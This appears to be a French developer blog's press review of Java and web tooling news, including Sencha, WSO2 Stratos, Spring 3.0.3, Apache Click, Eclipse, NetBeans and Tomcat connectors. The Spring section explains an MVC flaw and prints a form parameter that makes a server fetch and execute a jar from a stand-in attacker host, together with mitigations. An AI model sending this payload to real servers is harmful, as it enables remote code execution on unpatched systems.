• Ext GWT : Ext JS pour les développeurs Java et GWT ;
• Ext Core : librairie Javascript cross-browser ;
• [Labs] jQTouch : librairie de développement mobile léger avec animation et plugin UI pour jQuery ;
• [Labs] Raphaël : librairie de développement de graphiques vectoriels SVG ;
• [Labs] Connect : framework regroupant Rack et NodeJS (j'attend déjà avec impatience !) pour un serveur d'application lean et event driven.

Bienvenue donc à Sencha et à sa pléiade de produits déjà fortement utilisés dans la communauté.

SOA

WSO2 lance Stratos, un PaaS ouvert

WSO2, éditeur de la plateforme open source de middleware Carbon, a annoncé en début de mois sa nouvelle plateforme PaaS Stratos. D'après Paul Fermantle, CTO de la firme, leur offre se démarque des autres PaaS du marché comme Google App Engine, par les points suivants :

• contrairement à GAE ou Force.com, Stratos peut être utilisé aussi bien sur des nuages privés que public,

• Stratos n'offre pas seulement une plateforme pour le développement d'applications web, mais une architecture d'un SI d'entreprise complète avec notamment un ESB, de l'orchestration de services, etc ...,

• Stratos se repose essentiellement sur des standards ouverts et des modes de déploiement classiques ce qui favorise la portabilité des applications.

Vous pouvez d'ores et déjà l'essayer à cette adresse

Le coin de la technique

Spring, version 3.0.3 et faille de sécurité

Grâce aux feedback de la communauté sur Spring 3.0.2, et à plusieurs semaines de travail, SpringSource nous livre une version 3.0.3 corrigeant plus d'une centaine de bugs mineurs. Les aspects ayant le plus bénéficié de ce travail sont les taglibs JSP et les supports de OpenJPA 2.0, Hibernate 3.5.2 et JBoss 6.0.0 M3, annoncés comme pleinement opérationnels maintenant.

Plus de détails sur l'annonce officielle. Il est à noter que cette version corrige une faille de sécurité assez importante découverte sur la partie MVC et remontée par Meder Kydyraliev, de l'équipe sécurité de Google. Les versions 2.5 et 3.0.0 du framework sont touchées par cette faille.

Le principe de l'attaque consiste à :

1. Réaliser un jar accessible depuis internet avec un fichier META-INF/spring-form.tld et un répertoire META-INF/tags/ contenant le code Java du tag
2. Soumettre un formulaire avec le paramètre HTTP : class.classLoader.URLs[0]=jar:http://attacker/attack.jar!/
3. Ensuite, le comportement interne de Spring fait qu'il va télécharger http://attacker/attack.jar pour l'exécuter sur la JVM du serveur d'application.

Pour se défendre de ce type d'attaque il y a deux possibilités :

• Faire une mise à jour du framework Spring (de 2.5.6 à 2.5.7 ou 3.0.0.RELEASE à 3.0.3.RELEASE)
• Ou définir une règle firewall pour empêcher le téléchargement des fichiers indiqués dans l'URL soumise

Pour plus détails, je vous invite à lire le billet de Julien Dubois sur son blog Responcia

Sortie d'Apache Click 2.2.0

Apache Click est un framework web JEE orienté composants et évènements. Les pages et les composants sont développés en Java alors que la partie templating s'écrit en Velocity, en FreeMarker ou en JSP. Click est stateless par défaut mais peut être paramétré pour être stateful. A noter qu'il est top-level project chez Apache depuis Novembre 2009.

Les nouveautés de cette version sont nombreuses. Elles vont de la mise à jour des versions de Velocity et Cayenne en passant par la correction de bugs divers concernant la gestion des dates dans Click ainsi que l'ajout de nombreuses classes techniques apportant chacune leur lot de nouveautés.

Les liens utiles : téléchargement, guide utilisateur et exemples.

Trucs et astuces pour Eclipse

De plus en plus de développeurs sont convaincus par IntelliJ IDEA, l'IDE de JetBrains. Les raisons sont diverses et variées : de meilleurs plugins, une meilleure intégration avec de nombreux frameworks ou bien encore de nouvelles fonctionnalités manquant cruellement à Eclipse. Certes, IDEA apporte son lot de changements par rapport à Eclipse mais il faut toutefois remarquer que de nombreuses fonctionnalités de ce dernier ne sont pas bien mises en avant par l'IDE et sont mêmes pour certaines inconnues des développeurs. Voilà donc une petite série d'articles du côté de chez CertPal de type trucs et astuces qui vous permettra peut-être de découvrir quelques fonctionnalités d'Eclipse.

Le premier article se consacre au code templates. Exemple : la complétion sur syso nous génère automatiquement System.out.println(). De nombreux templates sont déjà disponibles et il sera bien sûr possible d'en ajouter très facilement. L'auteur nous présente alors quelques possibilités de templates comme le go générant un main, le log générant une variable de log avec les imports adéquats ou bien encore le tryf générant un block try/catch/finally.

Le second se focalise sur le débogage de l'application. Cela commence par la mise en place du remote debugging. Puis, l'auteur détaille les points d'arrêt conditionnels, la vue display qui permet l'exécution de code live avec toutes les variables du scope à disposition, la définition d'un detail formatter spécifique et la modification live de valeurs depuis la vue d'inspection. Un très bon article et un très bon rappel de tous les outils et fonctionnalités qui sont à notre disposition pour le debug de nos applications.

Enfin, sorti en début de semaine dernière, un troisième article, plus global, décrit plusieurs astuces comme la définition de raccourcis spécifiques, la customisation de la complétion, l'import/export des préférences ou la très intéressante vue local history.

La série n'étant peut-être pas finie, il faudra garder un œil pour un éventuel quatrième article.

Netbeans 6.9

Aprés IntelliJ et Eclipse, Netbeans ! Netbeans 6.9 est sorti la semaine dernière, environ 7 mois après la 6.8 avec en guest star JavaFX Composer. Pensé un peu comme Java Swing Builder (anciennement projet Matisse), disponible aussi dans Netbeans, cet outil permet de construire graphiquement des éléments d'un formulaire, associés à des états et une source de données. Tout comme l'ajout du support de PHP Zend Framework, cette fonctionnalité devrait attirer quelques développeurs plus web que java.

Parmi les autres nouveautés :

• intégration d'OSGI
• support de Spring 3.0.0
• support REST web services pour les applications RCP
• support de Rails 3.0

A noter aussi que cette version est accompagnée de la nouvelle version 3.0.1 de Glassfish qui corrige au moins une centaine de bugs.

Bien que ce soit une version majeure, pas sûr néanmoins qu'elle fasse de l'ombre à la version annuelle d'Eclipse, Helios de son petit nom, qui sort très prochainement et dont on parlera également dans cette revue de presse.

Choisir entre mod_jk et mod_proxy, par Mark Thomas

Nous avons déjà parlé sur le blog, Mark Thomas enfonce le clou. Sur le blog Tomcat Expert, il s'est fendu d'un nouvel article qui se veut une checklist pour choisir entre le mod_jk et le mod_proxy. Mark commence d'ailleurs en disant clairement que ce sont les seules solutions à considérer aujourd'hui. Il affiche sa préférence pour le mod_jk et le mod_proxy_http face au mod_proxy_ajp encore un peu jeune. Ses conclusions sont:

• Si vous devez crypter la communication entre Apache et Tomcat, utilisez le mod_proxy.
• Si vous devez exposer à Tomcat les informations SSL, utilisez le mod_jk.
• Si vous avez déjà un de ces modules en production, ne changez rien.
• Mark préfère le mod_proxy_http, pour sa configuration plus consistante.

Pour plus d'information, vous pouvez lire son article sur le blog Tomcat Expert, ou connaître notre avis sur la question: mod_proxy vs mod_jk.